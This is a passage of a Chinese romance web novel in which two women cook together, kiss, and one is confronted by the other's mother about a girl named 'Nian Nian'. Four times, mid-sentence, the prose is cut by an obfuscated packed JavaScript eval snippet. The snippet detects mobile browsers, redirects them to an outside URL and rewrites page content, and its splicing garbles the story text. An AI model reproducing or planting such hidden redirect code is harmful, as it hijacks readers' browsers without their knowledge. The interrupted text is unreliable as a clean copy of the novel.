季晚眠被香味勾出回忆，望着面前光看着就十足美味的菜，长长地“哇”了一声，扬声说：“这肯定很好吃——” “你先尝一口？”裴今月目前还腾不出来手。 季晚眠立刻拿出筷子，迫不及待地夹了一个送到嘴里。 还没尝出味道，她就感受到了舌头的灼烧感，又不能吐出来，只能不停挥动着手，企图给舌头降降温：“好烫好烫好烫……” “怎么这么着急。”裴今月略微无奈地说，“不会消失的，慢慢吃就好了。” “好……”季晚眠随便咀嚼了两下就直接咽了下去，“真是太好吃啦！” “你明明都没尝出味道。”裴今月不大相信，自己亲自尝了一口，点了点头表示认可，“确实还行。” 季晚眠还在不停夸：“何止‘还行’，分明是人间美味……” 裴今月打岔了她：“先别硬夸了，再搅两个鸡蛋。” “好。”季晚眠见好就收，乖乖搅拌鸡蛋。 锅里噼里啪啦四溅起油，搅拌鸡蛋的碗筷啪嗒啪嗒，洗菜的水声哗啦哗啦地往下流，整个厨房里像是在举行一场热闹的聚会，欢快又活泼，忙碌又充实。 她们分好了工，干起活来也更专心了些，不到一会就完成了所有菜的制作。 “大功告成！”季晚眠拍了拍手，满意地看着面前的菜，这可是她与裴今月一同做饭的成就。 裴今月将汤盛了出来，说：“快吃吧，一会都冷了。” 季晚眠点头：“刚好饭也好了。” 三菜一汤、热腾腾的白米饭，看着就让人心暖暖的。 就算季晚眠工作都没做完，距离交稿也没几天了，但是她依然想先享受此时此刻。 毕竟这是她做梦才有的画面。 “要不放到客厅里？边看电视边吃。”季晚眠问。 美食怎么能不配上一个好电影！ “我在家没有这样过。”裴今月坦言。 季晚眠“啊”了一声，挥了挥手表示理解：“那我们……” 但裴今月又话锋一转，说：“但我也可以试试。” “好——”季晚眠又恢复笑容，高高兴兴端着菜往客厅去了，“太好喽，可以与裴今月一起享受一顿午饭啦！” 裴今月擦了擦手上的水，端着饭走过去：“可是现在都快晚上了。” “那就是午晚饭啦。”季晚眠将裴今月手上的饭接了过来，放在桌上，怕其坐在沙发上吃饭不舒服，又找了个高矮合适的板凳放在其后，“不用在乎这些，快吃吧，再不吃都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912661|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷了。” 裴今月坐了下来，看着季晚眠将菜几乎全都移到自己面前。有时候不得不承认，她也觉得季晚眠对她很好。 比裴言对她好，比裴思澈对她好，比所有交过的朋友都对她好。 但是，她很清楚，这一切都是因为季晚眠爱她。 正因为这样，她就觉得这份“好”到底都是不该属于自己的，因为她早已心有所属，并不喜欢季晚眠，所以就算季晚眠对她再好，她也会一并舍弃。 看着季晚眠一脸高兴，笑着用遥控板打开电视的样子，裴今月总会透过这张笑脸，窥见其悲伤的神情。 想来跨年夜那天，自己不会如约出现，季晚眠定是失落不已。 毕竟也相识一场，又在这住了好些天，她想不到别的补偿方式，也只能给点钱了。 况且那个用来逢场作戏的戒指估计也能换点钱的。 这已经是她能想到对季晚眠最好的结束方式了。 “裴今月，你快看，电影里也在过冬天。”季晚眠望着电影里壮观的雪景，说不上来有多么向往，“好漂亮的雪。” 裴今月望着季晚眠，正要动筷子的手一停，问：“你想看吗？” 季晚眠愣了愣，脑子里一直在回味裴今月的那句“你想看吗”，简明扼要，直击心脏。 明明是疑问的语气，却被她听出了些肯定的意思。 但是她怕是自作多情，便没将心里所想说了出来，而是把问题抛给裴今月：“你也想看吗？” “想。”裴今月几乎没有犹豫，“我很喜欢雪天。” “可南方都不怎么能见到雪，况且，你不是怕冷吗？”季晚眠想起裴今月从外面吹了一身冷风回来，冻得脸红耳红，从她这离开时还加了件衣服才离开的。 裴今月对上季晚眠投来的疑惑目光，她自然是不能说出爱雪天的真实原因，只能回答：“之前见过一场雪，很好看，就像电影里那样。” 顺着裴今月的话，季晚眠也没再多问，将注意力集中到电影上，边吃边看着。 裴今月也尝试去看向电影，但余光里，总会出现季晚眠的面容，想起其方才说过的话。 她确实怕冷，所以并不爱冬天。 但她又迫切地想要回到十三年前那个下着雪的冬天，追上年年的脚步。 22. 第 22 章 一场电影下来，季晚眠已然吃饱喝足，看着面前空荡荡的盘子，她将手放在自己肚子上，果然圆了一圈。 这能怪谁。 主要还是因为裴今月做得实在太好吃了。 “裴今月，你真是有天赋。”季晚眠靠在沙发上，感慨了不知多少遍。 “好吃就行。”裴今月倒没觉得是天赋，只是觉得新鲜想试试。 “好了，休息够了。”季晚眠从沙发上站起身，拿起盘子就往厨房里走，“洗碗去了。” “我……”裴今月张了张口。 但话还没说完，季晚眠就直接打岔了她，说：“没事，这个简单，我一个人来就行！” 裴今月等季晚眠说完，才缓缓解释：“我想说，我帮你拿两个。” 季晚眠这才意识到是自己想多了，又讪讪地笑了两声，说：“那也行。” 水声哗哗。 大概是洗碗太无聊，季晚眠克制不住想与裴今月说话的心：“裴今月，你想去旅游吗？” 裴今月的声音从客厅传来：“去哪？” 季晚眠清洗着盘子上的油渍，说：“我也没想好，但哪都挺想去的。” 裴今月问：“没有特别想去的吗？” “最想去的话……”季晚眠在放盘子进橱柜的时候想了想，“那就是北方任意一座城市了，主要是想看雪。” 裴今月不解：“你为什么这么想看雪？” 季晚眠专心擦着桌上的水珠，听到裴今月的话后也没多想，直接回答：“原本也没这么想的，但听到你说喜欢雪天后，我就更想看场雪了。” 裴今月没说话。 季晚眠将帕子上的水拧干后才意识到自己刚刚顺着心说出来的话这么肉麻，难怪裴今月都没理她了，于是她拼命转动脑子，想了个好一点措辞：“主要还是因为我是南方人，没怎么看过雪，所以才这么向往的。” 裴今月还是没出声。 就在气氛冷到能结冰时，季晚眠正打算擦干手上的水，却听到裴今月的一句—— “改天一起去看一次吧。” 季晚眠像是停止运作的机器，僵硬在原地，回过神后心脏狂跳不止。 “好！”她都没顾得上擦手，而是跑到裴今月面前，扬声回应道。 明明今天下了雨，天气很冷，刚用冷水洗完碗，手也是冰冰的。 但季晚眠听到这句话后，望向裴今月时，窗外寒冬，而她的心已然提前进入春天。 只是裴今月的心一直在冬天，这么多年依旧如此，并未因任何人改变。 但现下，裴今月第一次因为自己的顺口一说，对面前人感受到了后悔的情绪。 虽然以前也不是没有像今天一样随便许下诺言，但不知道为什么，这次竟然生出悔意，想要向季晚眠解释清楚——她们根本不会有一起旅行的机会。 不行。 裴今月的理智告诉她自己，并不需要说明。 就是要给季晚眠最高的期待，让她充满幻想，这样才能在没有满足期待时彻底失望，对这场本就是闹剧的“恋爱”灰心。 看着季晚眠灿烂的笑容，裴今月实实在在地感受到了自己的心狠。 “擦掉水吧。”裴今月递了张纸巾给季晚眠，分明是想让其擦掉手上的水珠，可话说出口后，她仿佛看见了面前人满脸泪痕的模样。 季晚眠高高兴兴地接了过来，心里表扬裴今月真是越来越细节了。 “让我看看现在什么时候了，好决定一下做点什么呢……”季晚眠说着，打开手机看了一眼，笑容逐渐僵硬，还在慢慢消失。 裴今月见其愣在原地不动，问：“做什么？” “我要去赶稿了啊啊啊啊——”季晚眠看到手机上的时间时大吃一惊，她不就逛了个街买了戒指吃了饭看了电影吗，怎么一晃眼直接到晚上了。 她抬眼，望了下窗外，果然天都黑了。为什么开心的时间就像开倍速，一眨眼又要上班了，明明她还没和裴今月多相处一会呢。 “你去忙吧。”裴今月说，“我玩会手机。” 季晚眠不情不愿地走去上班了，她一边觉得裴今月很理解她，一边又觉得裴今月太冷漠，都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912662|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挽留一下她。总而言之，想了很多，就是不愿意好好上会班。 就在她静不下心，眼神乱飘时，被裴今月撞上了。 裴今月疑惑问：“怎么了？” 季晚眠实话实说：“我不想画。” 裴今月耿直地回答说：“那就不画了。” 季晚眠趴在桌子上，闷声闷气地说：“不画又不行呀，我得挣钱。” 裴今月没什么回应了。 季晚眠也能理解，毕竟她一直说的这些话就是抱怨，也没什么好回答了。 算了，还是好好干活吧。 挣钱才能配得上裴今月。 季晚眠想着想着就哄好了自己，拿起笔，准备上班。 倏地，她感觉面前覆了一层阴影。 一抬头，原来是裴今月不知何时从客厅走到了她的身后。 “是遇到什么困难了吗？”裴今月微微俯身，在她的耳旁轻声说。 季晚眠都不敢动弹了，心脏已经跑到嗓子眼，随时准备跳出来。 裴今月的声音环绕在她的耳侧，好听得像唱歌一样。 这是裴今月第一次在她上班的时候走过来，不来还好，大小姐一来后，她连握笔都是颤抖的，更别谈画好一个格子了。 “别紧张。”裴今月安慰道，还顺手将她掉在眼前的碎发别到耳朵后面。 在此过程里，裴今月的指尖还触碰到了她发烫的耳根，就这么轻轻一碰，季晚眠感觉自己的耳朵都快不属于自己了。 天啊—— 这还怎么能静得下心！ 季晚眠本想转过头，跟还在摆弄她头发的裴今月略微严肃地说“你在这我更不能专心画了”，结果头刚一偏过去，就对上裴今月那勾人的眼睛。 她的魂都快被这双眼给勾走了。 季晚眠的视线顺着裴今月眼睛，慢慢往下滑，落到了红润的唇瓣时…… 她两眼放空，脑子里闪过想要吻上去的冲动。 只听裴今月缓缓张开了口，声音轻轻的：“我知道你想做什么。” 刚好，她也想。 23. 第 23 章 是季晚眠主动贴上去的。 这个吻落下时轻轻地，像蜻蜓点水，一闪而过，不像之前那么汹涌。 从裴今月身上离开后，季晚眠害羞地望向另一侧，满脑子都在回味方才的酥麻感。 她这么胆小一个人，刚刚也不知道怎么的，一仰头便直接凑了上去。 大抵是因为这个吻，她想了很久吧。 裴今月却没有偏过头，仍然直勾勾地盯着季晚眠，脸不红心不跳说：“你不太擅长亲吻。” 怎么还给她的小缺点说出来了！ 季晚眠脸都羞红透了，连眼睛都快忘了眨，感觉整个人都快爆炸了。 “那……”季晚眠垂着头，紧紧地捏着自己的衣角，揉成皱巴巴的一团，半晌后收了声，还是没好意思说出后面那句——“那你再教教我。” “那你就继续画吧。”裴今月站起身，将自己的头发撩到后面，迈步朝客厅走去，“我去玩会手机。” 季晚眠这才难以置信地眨了眨眼睛。 面前这个人怎么撩完就跑啊—— 她都以为裴今月能再亲她一口了，结果是让她好好去上班了！ “这下可以专心了吗？”裴今月像是听见了季晚眠的心声，走了一半又回过头补充说：“要好好工作哦。” 季晚眠闻言，哭笑不得地点点头，又不能跑去质问裴今月，只好将这些心绪转化为上班的动力。 说实话，还真有效果，确实比刚刚更专心了些——主要是自己只要一分心就会想起那些脸红心跳的画面。 她拿起笔，继续画。 就这么画着，每天都要画。 画到天昏地暗，画到不知时间流淌。 她只记得自己一笔一线勾勒出每个角色的面容和故事，拿起笔，往书桌前一坐，能清楚自己的故事进展到了哪个时间点，但如果要说她的现实生活—— 今天是几号来着？ 水声走过时至少留下了哗哗的响动，不像时间，悄悄地离开了，仿佛只是眼睛一睁一闭，就是整整一天。 每分每秒流逝在日常的琐屑里，好像只用说两句话、躺下玩会手机，时间就跑远了。 忙完手上的活，季晚眠偶尔与裴今月出门逛逛街，买点菜，吃一大碗饭，看个电影，深更半夜再亲一亲，一天也就这么过去了。 但，有时候也会冒出些新的事情，比如说在有一天，季晚眠突然收到了一个小鱼头像的人发来消息，由于她不爱给人备注，所以只能用头像来推测此人是陆渔。 好久没跟陆渔聊天了，季晚眠有些新奇，快速点开了这个小鱼头像。 小鱼在找水：「晚眠，之前碰见你就觉得你化的妆好好看，所以打扰你一下，麻烦你看看我今天化的妆可以吗？」 小鱼在找水：「［图片.jpg］」 季晚眠点开图片一瞧，陷入了沉默。 为什么天生丽质的美女化的妆这么……不适合自己？ 要不是妆容底下还隐隐约约看出陆渔可爱的五官，季晚眠真不敢在备注栏上敲下“陆渔”两个字。 但乐于助人的小季同学自然是不会轻言放弃的。 于是，她回了条消息：「化得挺不错的，下次可以换一个，你不嫌弃的话，我可以来教你」 她每天都耐着性子一步步教陆渔，要是天太冷懒得出门，她也会直接打个视频教。 多日后，在季晚眠的不懈努力下，陆渔的化妆技术得到明显提升。 陆渔：「谢谢晚眠～我也不想为这件事打扰你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912663|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，主要是我想在重要日子那天稍微打扮好看些，但又找不到别人，这才来麻烦你的」 季晚眠：「哎呀，都是朋友不用客气的，其实我化妆技术也一般哈哈哈哈哈」 表面自谦，背地里的季晚眠回完这条消息后，抱着手机得意地笑了很久，上扬的嘴角全是对自己的自豪，不愧是上大学都坚持每天化妆的女人。 她点点头，如此看来，暗恋裴今月还是有作用的。 而被暗恋对象裴大小姐在得知这件事后，又在回忆自己以前应该在哪见过陆渔这个人。 季晚眠撇撇嘴，假装闷闷不乐地扭过头，说：“你不会是在认识我之前就认识她了吧。” “不算认识，我只是记得在哪见过这个人。”裴今月解释道，“我连她的名字都是前些天才知道的。” “好吧。”季晚眠压根不打算胡搅蛮缠，只是有些好奇，“你每天见过这么多人，为什么偏偏对见过一面的陆渔印象深刻？” 裴今月扶着下巴想了一会，回答：“我也说不上来，明明是很早之前发生的事情了，但又一直在我脑子里。” “这、样、啊。”季晚眠刻意一字一顿，说得极缓，想让裴今月听出她的小心思。 要是以前的裴今月可能无动于衷，完全察觉不出季晚眠任何情绪来，但现在的裴大小姐可变化了不少，哪怕季晚眠只是表情变了一点，都能察觉到其情绪的改变，有时候还会来安慰一下她。 季晚眠一天比一天开心，每晚睡前，她都会看着身旁人熟睡的面容，心想——之后与裴今月在一起只会变得更加得好。 不知道是不是冬天白昼时间太短，还是因为是这一年的最后一个月，也可能是季晚眠每天都过得太高兴，以至于她觉得这个月过得太快。 24. 第 24 章 一看日历，距离跨年夜也就只剩五天了。 季晚眠如往常一样，早早醒来后，轻轻地松开裴今月搭在自己身上的手，缓缓走下床，为其盖好被子，再蹑手蹑脚地走到卫生间里洗漱。 收拾完后，她裹上厚厚的羽绒服，戴上帽子围巾，小心翼翼地关上门，生怕一个不小心发出声响弄醒了裴今月。 她按照原来买早饭的路线走着，想快些买回去，好让裴今月醒来就能吃到热腾腾的早饭。 突然，有一个人站在她必经之路的面前。 一身黑色大衣，端庄又严肃，保养良好，全然看不出其真实年龄。 自然，更猜不透其内心所想。 在对视的那一眼，季晚眠心尖颤了颤，悬在半空的脚迟迟落不下去，最后停下脚步，下意识地咽了咽口水，半晌说不出话。 还是对面先开了口：“好久不见，季小姐。” 乍一听，明明语气十足客气温和，却落到季晚眠耳边时，还是让其忍不住打了个寒颤。 她有些无措地整理了一下自己的围巾，明明自己紧张得手都有些抖，却还是强装镇定地回应：“裴太太，好久不见。” 裴言勾了勾唇，没看着季晚眠，扯了下自己的手套，“挺好，还记得我。” 这哪敢忘啊。 但季晚眠也只敢在心里回复了，她一直垂着头，像是要把地板看出花来。 “季小姐，外面挺冷的，我们就去那家店坐着聊吧。”裴言朝旁边的咖啡厅看了一眼说。 季晚眠抬起头，顺着其目光望去，犹豫了一下，心里在想要不要先告诉一声裴今月，免得她醒了后一直找不到人，可不能让她担心。 裴言保持充足的耐心，微笑着说：“不用害怕的。” “我不是害怕，我只是……”季晚眠挥了挥手，咬了咬下唇，纠结该不该往后说。 “只是想跟今月说一声？”裴言窥其神色，已然推测出来。 既然被猜透了心思，季晚眠也不想继续隐瞒，只好诚实地点了点头。 裴言轻轻地笑了一声，听不出任何语气，说：“季小姐，我今天之所以来，就是想告诉你是怎么被今月骗的。” 闻言，季晚眠皱了皱眉头，疑惑问：“什么叫‘被今月骗’？” 裴言神情闪过一丝讶异，扬眉问：“季小姐，你该不会还什么都不知道？” “我该知道什么，裴太太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912664|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，如果你是想说出这些话是为了让我离开裴今月，对不起，我做不到。”季晚眠有些不太想听下去了，连连道谦，想要直接离开。 可裴言的一句话让她瞬间停下了脚步—— “如果是我知道那个叫‘年年’的女孩与今月的关系呢？” 年年。 只要提到这个名字，季晚眠的心就会再次感受到一阵强烈的疼痛。说实话，她迫切地想要听下去。 于是她停在原地回过头，望着裴言问：“是什么关系？” “去咖啡厅里面说吧。”裴言朝她扬了扬唇角，而后转过身，率先朝里面走。 季晚眠没再犹豫，迈开腿，跟了上去。 她想要拔出心里那根刺，只能知道真相。 无论这真相是否会刺痛她的心，她依然选择往前走。 顿时，天边飘下一粒白。 季晚眠伸出手，接了下来，原来是下雪了。 雪被体温融化，成了一滴水，从指尖溜走，落到了地上。 无影无踪。 季晚眠收回手，走进了咖啡店。 来这座城市这么些年，都没见一场雪。 偏偏今日见到了。